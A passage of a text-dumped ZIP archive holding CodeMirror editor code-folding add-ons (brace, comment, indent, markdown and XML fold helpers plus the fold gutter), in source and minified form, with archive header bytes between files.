    // Now find closing semicolon, return its position
    for (var i = line, e = Math.min(cm.lastLine(), line + 10); i <= e;
++i) {
      var text = cm.getLine(i), semi = text.indexOf(";");
      if (semi != -1) return {startCh: start.end, end: CodeMirror.Pos(i,
semi)};
    }
  }

  var startLine = start.line, has = hasImport(startLine), prev;
  if (!has || hasImport(startLine - 1) || ((prev = hasImport(startLine -
2)) && prev.end.line == startLine - 1))
    return null;
  for (var end = has.end;;) {
    var next = hasImport(end.line + 1);
    if (next == null) break;
    end = next.end;
  }
  return {from: cm.clipPos(CodeMirror.Pos(startLine, has.startCh + 1)), to:
end};
});

CodeMirror.registerHelper("fold", "include",
function(cm, start) {
  function hasInclude(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start =
cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type == "meta" && start.string.slice(0, 8)
== "#include") return start.start + 8;
  }

  var startLine = start.line, has = hasInclude(startLine);
  if (has == null || hasInclude(startLine - 1) != null) return null;
  for (var end = startLine;;) {
    var next = hasInclude(end + 1);
    if (next == null) break;
    ++end;
  }
  return {from: CodeMirror.Pos(startLine, has + 1),
          to: cm.clipPos(CodeMirror.Pos(end))};
});

});
PK6��[�^jpzz'codemirror/addon/fold/brace-fold.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("fold","brace",(function(b,c){function
d(d){for(var h=c.ch,i=0;;){var
j=h<=0?-1:g.lastIndexOf(d,h-1);if(-1!=j){if(1==i&&j<c.ch)break;if(e=b.getTokenTypeAt(a.Pos(f,j+1)),!/^(comment|string)/.test(e))return
j+1;h=j-1}else{if(1==i)break;i=1,h=g.length}}}var
e,f=c.line,g=b.getLine(f),h="{",i="}",j=d("{");if(null==j&&(h="[",i="]",j=d("[")),null!=j){var
k,l,m=1,n=b.lastLine();a:for(var o=f;o<=n;++o)for(var
p=b.getLine(o),q=o==f?j:0;;){var
r=p.indexOf(h,q),s=p.indexOf(i,q);if(r<0&&(r=p.length),s<0&&(s=p.length),(q=Math.min(r,s))==p.length)break;if(b.getTokenTypeAt(a.Pos(o,q+1))==e)if(q==r)++m;else
if(!--m){k=o,l=q;break
a}++q}if(null!=k&&f!=k)return{from:a.Pos(f,j),to:a.Pos(k,l)}}})),a.registerHelper("fold","import",(function(b,c){function
d(c){if(c<b.firstLine()||c>b.lastLine())return null;var
d=b.getTokenAt(a.Pos(c,1));if(/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"keyword"!=d.type||"import"!=d.string)return
null;for(var e=c,f=Math.min(b.lastLine(),c+10);e<=f;++e){var
g=b.getLine(e),h=g.indexOf(";");if(-1!=h)return{startCh:d.end,end:a.Pos(e,h)}}}var
e,f=c.line,g=d(f);if(!g||d(f-1)||(e=d(f-2))&&e.end.line==f-1)return
null;for(var h=g.end;;){var
i=d(h.line+1);if(null==i)break;h=i.end}return{from:b.clipPos(a.Pos(f,g.startCh+1)),to:h}})),a.registerHelper("fold","include",(function(b,c){function
d(c){if(c<b.firstLine()||c>b.lastLine())return null;var
d=b.getTokenAt(a.Pos(c,1));return/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"meta"==d.type&&"#include"==d.string.slice(0,8)?d.start+8:void
0}var e=c.line,f=d(e);if(null==f||null!=d(e-1))return null;for(var
g=e;;){if(null==d(g+1))break;++g}return{from:a.Pos(e,f+1),to:b.clipPos(a.Pos(g))}}))}));PK6��[)�a�rr%codemirror/addon/fold/comment-fold.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerGlobalHelper("fold", "comment",
function(mode) {
  return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
  var mode = cm.getModeAt(start), startToken = mode.blockCommentStart,
endToken = mode.blockCommentEnd;
  if (!startToken || !endToken) return;
  var line = start.line, lineText = cm.getLine(line);

  var startCh;
  for (var at = start.ch, pass = 0;;) {
    var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
    if (found == -1) {
      if (pass == 1) return;
      pass = 1;
      at = lineText.length;
      continue;
    }
    if (pass == 1 && found < start.ch) return;
    if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1)))
&&
        (found == 0 || lineText.slice(found - endToken.length, found) ==
endToken ||
         !/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found)))))
{
      startCh = found + startToken.length;
      break;
    }
    at = found - 1;
  }

  var depth = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose =
text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (pos == nextOpen) ++depth;
      else if (!--depth) { end = i; endCh = pos; break outer; }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

});
PK6��[Xq
�)codemirror/addon/fold/comment-fold.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerGlobalHelper("fold","comment",(function(a){return
a.blockCommentStart&&a.blockCommentEnd}),(function(b,c){var
d=b.getModeAt(c),e=d.blockCommentStart,f=d.blockCommentEnd;if(e&&f){for(var
g,h=c.line,i=b.getLine(h),j=c.ch,k=0;;){var
l=j<=0?-1:i.lastIndexOf(e,j-1);if(-1!=l){if(1==k&&l<c.ch)return;if(/comment/.test(b.getTokenTypeAt(a.Pos(h,l+1)))&&(0==l||i.slice(l-f.length,l)==f||!/comment/.test(b.getTokenTypeAt(a.Pos(h,l))))){g=l+e.length;break}j=l-1}else{if(1==k)return;k=1,j=i.length}}var
m,n,o=1,p=b.lastLine();a:for(var q=h;q<=p;++q)for(var
r=b.getLine(q),s=q==h?g:0;;){var
t=r.indexOf(e,s),u=r.indexOf(f,s);if(t<0&&(t=r.length),u<0&&(u=r.length),(s=Math.min(t,u))==r.length)break;if(s==t)++o;else
if(!--o){m=q,n=s;break
a}++s}if(null!=m&&(h!=m||n!=g))return{from:a.Pos(h,g),to:a.Pos(m,n)}}}))}));PK6��[�Է^99!codemirror/addon/fold/foldcode.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function doFold(cm, pos, options, force) {
    if (options && options.call) {
      var finder = options;
      options = null;
    } else {
      var finder = getOption(cm, options, "rangeFinder");
    }
    if (typeof pos == "number") pos = CodeMirror.Pos(pos, 0);
    var minSize = getOption(cm, options, "minFoldSize");

    function getRange(allowFolded) {
      var range = finder(cm, pos);
      if (!range || range.to.line - range.from.line < minSize) return
null;
      var marks = cm.findMarksAt(range.from);
      for (var i = 0; i < marks.length; ++i) {
        if (marks[i].__isFold && force !== "fold") {
          if (!allowFolded) return null;
          range.cleared = true;
          marks[i].clear();
        }
      }
      return range;
    }

    var range = getRange(true);
    if (getOption(cm, options, "scanUp")) while (!range
&& pos.line > cm.firstLine()) {
      pos = CodeMirror.Pos(pos.line - 1, 0);
      range = getRange(false);
    }
    if (!range || range.cleared || force === "unfold") return;

    var myWidget = makeWidget(cm, options, range);
    CodeMirror.on(myWidget, "mousedown", function(e) {
      myRange.clear();
      CodeMirror.e_preventDefault(e);
    });
    var myRange = cm.markText(range.from, range.to, {
      replacedWith: myWidget,
      clearOnEnter: getOption(cm, options, "clearOnEnter"),
      __isFold: true
    });
    myRange.on("clear", function(from, to) {
      CodeMirror.signal(cm, "unfold", cm, from, to);
    });
    CodeMirror.signal(cm, "fold", cm, range.from, range.to);
  }

  function makeWidget(cm, options, range) {
    var widget = getOption(cm, options, "widget");

    if (typeof widget == "function") {
      widget = widget(range.from, range.to);
    }

    if (typeof widget == "string") {
      var text = document.createTextNode(widget);
      widget = document.createElement("span");
      widget.appendChild(text);
      widget.className = "CodeMirror-foldmarker";
    } else if (widget) {
      widget = widget.cloneNode(true)
    }
    return widget;
  }

  // Clumsy backwards-compatible interface
  CodeMirror.newFoldFunction = function(rangeFinder, widget) {
    return function(cm, pos) { doFold(cm, pos, {rangeFinder: rangeFinder,
widget: widget}); };
  };

  // New-style interface
  CodeMirror.defineExtension("foldCode", function(pos, options,
force) {
    doFold(this, pos, options, force);
  });

  CodeMirror.defineExtension("isFolded", function(pos) {
    var marks = this.findMarksAt(pos);
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold) return true;
  });

  CodeMirror.commands.toggleFold = function(cm) {
    cm.foldCode(cm.getCursor());
  };
  CodeMirror.commands.fold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "fold");
  };
  CodeMirror.commands.unfold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "unfold");
  };
  CodeMirror.commands.foldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "fold");
    });
  };
  CodeMirror.commands.unfoldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "unfold");
    });
  };

  CodeMirror.registerHelper("fold", "combine",
function() {
    var funcs = Array.prototype.slice.call(arguments, 0);
    return function(cm, start) {
      for (var i = 0; i < funcs.length; ++i) {
        var found = funcs[i](cm, start);
        if (found) return found;
      }
    };
  });

  CodeMirror.registerHelper("fold", "auto",
function(cm, start) {
    var helpers = cm.getHelpers(start, "fold");
    for (var i = 0; i < helpers.length; i++) {
      var cur = helpers[i](cm, start);
      if (cur) return cur;
    }
  });

  var defaultOptions = {
    rangeFinder: CodeMirror.fold.auto,
    widget: "\u2194",
    minFoldSize: 0,
    scanUp: false,
    clearOnEnter: true
  };

  CodeMirror.defineOption("foldOptions", null);

  function getOption(cm, options, name) {
    if (options && options[name] !== undefined)
      return options[name];
    var editorOptions = cm.options.foldOptions;
    if (editorOptions && editorOptions[name] !== undefined)
      return editorOptions[name];
    return defaultOptions[name];
  }

  CodeMirror.defineExtension("foldOption", function(options,
name) {
    return getOption(this, options, name);
  });
});
PK6��[��

%codemirror/addon/fold/foldcode.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,e,f,g){function h(a){var
c=i(b,e);if(!c||c.to.line-c.from.line<j)return null;for(var
d=b.findMarksAt(c.from),f=0;f<d.length;++f)if(d[f].__isFold&&"fold"!==g){if(!a)return
null;c.cleared=!0,d[f].clear()}return c}if(f&&f.call){var
i=f;f=null}else var
i=d(b,f,"rangeFinder");"number"==typeof
e&&(e=a.Pos(e,0));var
j=d(b,f,"minFoldSize"),k=h(!0);if(d(b,f,"scanUp"))for(;!k&&e.line>b.firstLine();)e=a.Pos(e.line-1,0),k=h(!1);if(k&&!k.cleared&&"unfold"!==g){var
l=c(b,f,k);a.on(l,"mousedown",(function(b){m.clear(),a.e_preventDefault(b)}));var
m=b.markText(k.from,k.to,{replacedWith:l,clearOnEnter:d(b,f,"clearOnEnter"),__isFold:!0});m.on("clear",(function(c,d){a.signal(b,"unfold",b,c,d)})),a.signal(b,"fold",b,k.from,k.to)}}function
c(a,b,c){var e=d(a,b,"widget");if("function"==typeof
e&&(e=e(c.from,c.to)),"string"==typeof e){var
f=document.createTextNode(e);e=document.createElement("span"),e.appendChild(f),e.className="CodeMirror-foldmarker"}else
e&&(e=e.cloneNode(!0));return e}function
d(a,b,c){if(b&&void 0!==b[c])return b[c];var
d=a.options.foldOptions;return d&&void
0!==d[c]?d[c]:e[c]}a.newFoldFunction=function(a,c){return
function(d,e){b(d,e,{rangeFinder:a,widget:c})}},a.defineExtension("foldCode",(function(a,c,d){b(this,a,c,d)})),a.defineExtension("isFolded",(function(a){for(var
b=this.findMarksAt(a),c=0;c<b.length;++c)if(b[c].__isFold)return!0})),a.commands.toggleFold=function(a){a.foldCode(a.getCursor())},a.commands.fold=function(a){a.foldCode(a.getCursor(),null,"fold")},a.commands.unfold=function(a){a.foldCode(a.getCursor(),null,"unfold")},a.commands.foldAll=function(b){b.operation((function(){for(var
c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"fold")}))},a.commands.unfoldAll=function(b){b.operation((function(){for(var
c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"unfold")}))},a.registerHelper("fold","combine",(function(){var
a=Array.prototype.slice.call(arguments,0);return function(b,c){for(var
d=0;d<a.length;++d){var e=a[d](b,c);if(e)return
e}}})),a.registerHelper("fold","auto",(function(a,b){for(var
c=a.getHelpers(b,"fold"),d=0;d<c.length;d++){var
e=c[d](a,b);if(e)return e}}));var
e={rangeFinder:a.fold.auto,widget:"↔",minFoldSize:0,scanUp:!1,clearOnEnter:!0};a.defineOption("foldOptions",null),a.defineExtension("foldOption",(function(a,b){return
d(this,a,b)}))}));PK6��[�$J��$codemirror/addon/fold/foldgutter.cssnu�[���.CodeMirror-foldmarker
{
  color: blue;
  text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px,
#b9f -1px 1px 2px;
  font-family: arial;
  line-height: .3;
  cursor: pointer;
}
.CodeMirror-foldgutter {
  width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
  cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
  content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
  content: "\25B8";
}
PK6��[�*���#codemirror/addon/fold/foldgutter.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./foldcode"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./foldcode"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("foldGutter", false, function(cm, val,
old) {
    if (old && old != CodeMirror.Init) {
      cm.clearGutter(cm.state.foldGutter.options.gutter);
      cm.state.foldGutter = null;
      cm.off("gutterClick", onGutterClick);
      cm.off("changes", onChange);
      cm.off("viewportChange", onViewportChange);
      cm.off("fold", onFold);
      cm.off("unfold", onFold);
      cm.off("swapDoc", onChange);
    }
    if (val) {
      cm.state.foldGutter = new State(parseOptions(val));
      updateInViewport(cm);
      cm.on("gutterClick", onGutterClick);
      cm.on("changes", onChange);
      cm.on("viewportChange", onViewportChange);
      cm.on("fold", onFold);
      cm.on("unfold", onFold);
      cm.on("swapDoc", onChange);
    }
  });

  var Pos = CodeMirror.Pos;

  function State(options) {
    this.options = options;
    this.from = this.to = 0;
  }

  function parseOptions(opts) {
    if (opts === true) opts = {};
    if (opts.gutter == null) opts.gutter =
"CodeMirror-foldgutter";
    if (opts.indicatorOpen == null) opts.indicatorOpen =
"CodeMirror-foldgutter-open";
    if (opts.indicatorFolded == null) opts.indicatorFolded =
"CodeMirror-foldgutter-folded";
    return opts;
  }

  function isFolded(cm, line) {
    var marks = cm.findMarks(Pos(line, 0), Pos(line + 1, 0));
    for (var i = 0; i < marks.length; ++i) {
      if (marks[i].__isFold) {
        var fromPos = marks[i].find(-1);
        if (fromPos && fromPos.line === line)
          return marks[i];
      }
    }
  }

  function marker(spec) {
    if (typeof spec == "string") {
      var elt = document.createElement("div");
      elt.className = spec + " CodeMirror-guttermarker-subtle";
      return elt;
    } else {
      return spec.cloneNode(true);
    }
  }

  function updateFoldInfo(cm, from, to) {
    var opts = cm.state.foldGutter.options, cur = from - 1;
    var minSize = cm.foldOption(opts, "minFoldSize");
    var func = cm.foldOption(opts, "rangeFinder");
    // we can reuse the built-in indicator element if its className matches
the new state
    var clsFolded = typeof opts.indicatorFolded == "string"
&& classTest(opts.indicatorFolded);
    var clsOpen = typeof opts.indicatorOpen == "string"
&& classTest(opts.indicatorOpen);
    cm.eachLine(from, to, function(line) {
      ++cur;
      var mark = null;
      var old = line.gutterMarkers;
      if (old) old = old[opts.gutter];
      if (isFolded(cm, cur)) {
        if (clsFolded && old &&
clsFolded.test(old.className)) return;
        mark = marker(opts.indicatorFolded);
      } else {
        var pos = Pos(cur, 0);
        var range = func && func(cm, pos);
        if (range && range.to.line - range.from.line >= minSize)
{
          if (clsOpen && old &&
clsOpen.test(old.className)) return;
          mark = marker(opts.indicatorOpen);
        }
      }
      if (!mark && !old) return;
      cm.setGutterMarker(line, opts.gutter, mark);
    });
  }

  // copied from CodeMirror/src/util/dom.js
  function classTest(cls) { return new RegExp("(^|\\s)" + cls +
"(?:$|\\s)\\s*") }

  function updateInViewport(cm) {
    var vp = cm.getViewport(), state = cm.state.foldGutter;
    if (!state) return;
    cm.operation(function() {
      updateFoldInfo(cm, vp.from, vp.to);
    });
    state.from = vp.from; state.to = vp.to;
  }

  function onGutterClick(cm, line, gutter) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    if (gutter != opts.gutter) return;
    var folded = isFolded(cm, line);
    if (folded) folded.clear();
    else cm.foldCode(Pos(line, 0), opts);
  }

  function onChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    state.from = state.to = 0;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() { updateInViewport(cm); },
opts.foldOnChangeTimeSpan || 600);
  }

  function onViewportChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() {
      var vp = cm.getViewport();
      if (state.from == state.to || vp.from - state.to > 20 ||
state.from - vp.to > 20) {
        updateInViewport(cm);
      } else {
        cm.operation(function() {
          if (vp.from < state.from) {
            updateFoldInfo(cm, vp.from, state.from);
            state.from = vp.from;
          }
          if (vp.to > state.to) {
            updateFoldInfo(cm, state.to, vp.to);
            state.to = vp.to;
          }
        });
      }
    }, opts.updateViewportTimeSpan || 400);
  }

  function onFold(cm, from) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var line = from.line;
    if (line >= state.from && line < state.to)
      updateFoldInfo(cm, line, line + 1);
  }
});
PK6��[�tagww(codemirror/addon/fold/foldgutter.min.cssnu�[���.CodeMirror-foldmarker{color:#00f;text-shadow:#b9f
1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px
2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-foldgutter{width:.7em}.CodeMirror-foldgutter-folded,.CodeMirror-foldgutter-open{cursor:pointer}.CodeMirror-foldgutter-open:after{content:"\25BE"}.CodeMirror-foldgutter-folded:after{content:"\25B8"}PK6��[�g3��
�
'codemirror/addon/fold/foldgutter.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./foldcode")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./foldcode"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){this.options=a,this.from=this.to=0}function
c(a){return!0===a&&(a={}),null==a.gutter&&(a.gutter="CodeMirror-foldgutter"),null==a.indicatorOpen&&(a.indicatorOpen="CodeMirror-foldgutter-open"),null==a.indicatorFolded&&(a.indicatorFolded="CodeMirror-foldgutter-folded"),a}function
d(a,b){for(var
c=a.findMarks(m(b,0),m(b+1,0)),d=0;d<c.length;++d)if(c[d].__isFold){var
e=c[d].find(-1);if(e&&e.line===b)return c[d]}}function
e(a){if("string"==typeof a){var
b=document.createElement("div");return b.className=a+"
CodeMirror-guttermarker-subtle",b}return a.cloneNode(!0)}function
f(a,b,c){var
f=a.state.foldGutter.options,h=b-1,i=a.foldOption(f,"minFoldSize"),j=a.foldOption(f,"rangeFinder"),k="string"==typeof
f.indicatorFolded&&g(f.indicatorFolded),l="string"==typeof
f.indicatorOpen&&g(f.indicatorOpen);a.eachLine(b,c,(function(b){++h;var
c=null,g=b.gutterMarkers;if(g&&(g=g[f.gutter]),d(a,h)){if(k&&g&&k.test(g.className))return;c=e(f.indicatorFolded)}else{var
n=m(h,0),o=j&&j(a,n);if(o&&o.to.line-o.from.line>=i){if(l&&g&&l.test(g.className))return;c=e(f.indicatorOpen)}}(c||g)&&a.setGutterMarker(b,f.gutter,c)}))}function
g(a){return new
RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function h(a){var
b=a.getViewport(),c=a.state.foldGutter;c&&(a.operation((function(){f(a,b.from,b.to)})),c.from=b.from,c.to=b.to)}function
i(a,b,c){var e=a.state.foldGutter;if(e){var f=e.options;if(c==f.gutter){var
g=d(a,b);g?g.clear():a.foldCode(m(b,0),f)}}}function j(a){var
b=a.state.foldGutter;if(b){var
c=b.options;b.from=b.to=0,clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout((function(){h(a)}),c.foldOnChangeTimeSpan||600)}}function
k(a){var b=a.state.foldGutter;if(b){var
c=b.options;clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout((function(){var
c=a.getViewport();b.from==b.to||c.from-b.to>20||b.from-c.to>20?h(a):a.operation((function(){c.from<b.from&&(f(a,c.from,b.from),b.from=c.from),c.to>b.to&&(f(a,b.to,c.to),b.to=c.to)}))}),c.updateViewportTimeSpan||400)}}function
l(a,b){var c=a.state.foldGutter;if(c){var
d=b.line;d>=c.from&&d<c.to&&f(a,d,d+1)}}a.defineOption("foldGutter",!1,(function(d,e,f){f&&f!=a.Init&&(d.clearGutter(d.state.foldGutter.options.gutter),d.state.foldGutter=null,d.off("gutterClick",i),d.off("changes",j),d.off("viewportChange",k),d.off("fold",l),d.off("unfold",l),d.off("swapDoc",j)),e&&(d.state.foldGutter=new
b(c(e)),h(d),d.on("gutterClick",i),d.on("changes",j),d.on("viewportChange",k),d.on("fold",l),d.on("unfold",l),d.on("swapDoc",j))}));var
m=a.Pos}));PK6��[)d"
��$codemirror/addon/fold/indent-fold.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function lineIndent(cm, lineNo) {
  var text = cm.getLine(lineNo)
  var spaceTo = text.search(/\S/)
  if (spaceTo == -1 ||
/\bcomment\b/.test(cm.getTokenTypeAt(CodeMirror.Pos(lineNo, spaceTo + 1))))
    return -1
  return CodeMirror.countColumn(text, null,
cm.getOption("tabSize"))
}

CodeMirror.registerHelper("fold", "indent",
function(cm, start) {
  var myIndent = lineIndent(cm, start.line)
  if (myIndent < 0) return
  var lastLineInFold = null

  // Go through lines until we find a line that definitely doesn't
belong in
  // the block we're folding, or to the end.
  for (var i = start.line + 1, end = cm.lastLine(); i <= end; ++i) {
    var indent = lineIndent(cm, i)
    if (indent == -1) {
    } else if (indent > myIndent) {
      // Lines with a greater indent are considered part of the block.
      lastLineInFold = i;
    } else {
      // If this line has non-space, non-comment content, and is
      // indented less or equal to the start line, it is the start of
      // another block.
      break;
    }
  }
  if (lastLineInFold) return {
    from: CodeMirror.Pos(start.line, cm.getLine(start.line).length),
    to: CodeMirror.Pos(lastLineInFold, cm.getLine(lastLineInFold).length)
  };
});

});
PK6��[�����(codemirror/addon/fold/indent-fold.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,c){var
d=b.getLine(c),e=d.search(/\S/);return-1==e||/\bcomment\b/.test(b.getTokenTypeAt(a.Pos(c,e+1)))?-1:a.countColumn(d,null,b.getOption("tabSize"))}a.registerHelper("fold","indent",(function(c,d){var
e=b(c,d.line);if(!(e<0)){for(var
f=null,g=d.line+1,h=c.lastLine();g<=h;++g){var
i=b(c,g);if(-1==i);else{if(!(i>e))break;f=g}}return
f?{from:a.Pos(d.line,c.getLine(d.line).length),to:a.Pos(f,c.getLine(f).length)}:void
0}}))}));PK6��[Sc�FF&codemirror/addon/fold/markdown-fold.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "markdown",
function(cm, start) {
  var maxDepth = 100;

  function isHeader(lineNo) {
    var tokentype = cm.getTokenTypeAt(CodeMirror.Pos(lineNo, 0));
    return tokentype && /\bheader\b/.test(tokentype);
  }

  function headerLevel(lineNo, line, nextLine) {
    var match = line && line.match(/^#+/);
    if (match && isHeader(lineNo)) return match[0].length;
    match = nextLine && nextLine.match(/^[=\-]+\s*$/);
    if (match && isHeader(lineNo + 1)) return nextLine[0] ==
"=" ? 1 : 2;
    return maxDepth;
  }

  var firstLine = cm.getLine(start.line), nextLine = cm.getLine(start.line
+ 1);
  var level = headerLevel(start.line, firstLine, nextLine);
  if (level === maxDepth) return undefined;

  var lastLineNo = cm.lastLine();
  var end = start.line, nextNextLine = cm.getLine(end + 2);
  while (end < lastLineNo) {
    if (headerLevel(end + 1, nextLine, nextNextLine) <= level) break;
    ++end;
    nextLine = nextNextLine;
    nextNextLine = cm.getLine(end + 2);
  }

  return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(end, cm.getLine(end).length)
  };
});

});
PK6��[�����*codemirror/addon/fold/markdown-fold.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("fold","markdown",(function(b,c){function
d(c){var d=b.getTokenTypeAt(a.Pos(c,0));return
d&&/\bheader\b/.test(d)}function e(a,b,c){var
e=b&&b.match(/^#+/);return
e&&d(a)?e[0].length:(e=c&&c.match(/^[=\-]+\s*$/),e&&d(a+1)?"="==c[0]?1:2:f)}var
f=100,g=b.getLine(c.line),h=b.getLine(c.line+1),i=e(c.line,g,h);if(i!==f){for(var
j=b.lastLine(),k=c.line,l=b.getLine(k+2);k<j&&!(e(k+1,h,l)<=i);)++k,h=l,l=b.getLine(k+2);return{from:a.Pos(c.line,g.length),to:a.Pos(k,b.getLine(k).length)}}}))}));PK6��[�r�`,,!codemirror/addon/fold/xml-fold.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch; }

  var nameStartChar =
"A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  var nameChar = nameStartChar +
"\-\:\.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var xmlTagStart = new RegExp("<(/?)([" + nameStartChar +
"][" + nameChar + "]*)", "g");

  function Iter(cm, line, ch, range) {
    this.line = line; this.ch = ch;
    this.cm = cm; this.text = cm.getLine(line);
    this.min = range ? Math.max(range.from, cm.firstLine()) :
cm.firstLine();
    this.max = range ? Math.min(range.to - 1, cm.lastLine()) :
cm.lastLine();
  }

  function tagAt(iter, ch) {
    var type = iter.cm.getTokenTypeAt(Pos(iter.line, ch));
    return type && /\btag\b/.test(type);
  }

  function nextLine(iter) {
    if (iter.line >= iter.max) return;
    iter.ch = 0;
    iter.text = iter.cm.getLine(++iter.line);
    return true;
  }
  function prevLine(iter) {
    if (iter.line <= iter.min) return;
    iter.text = iter.cm.getLine(--iter.line);
    iter.ch = iter.text.length;
    return true;
  }

  function toTagEnd(iter) {
    for (;;) {
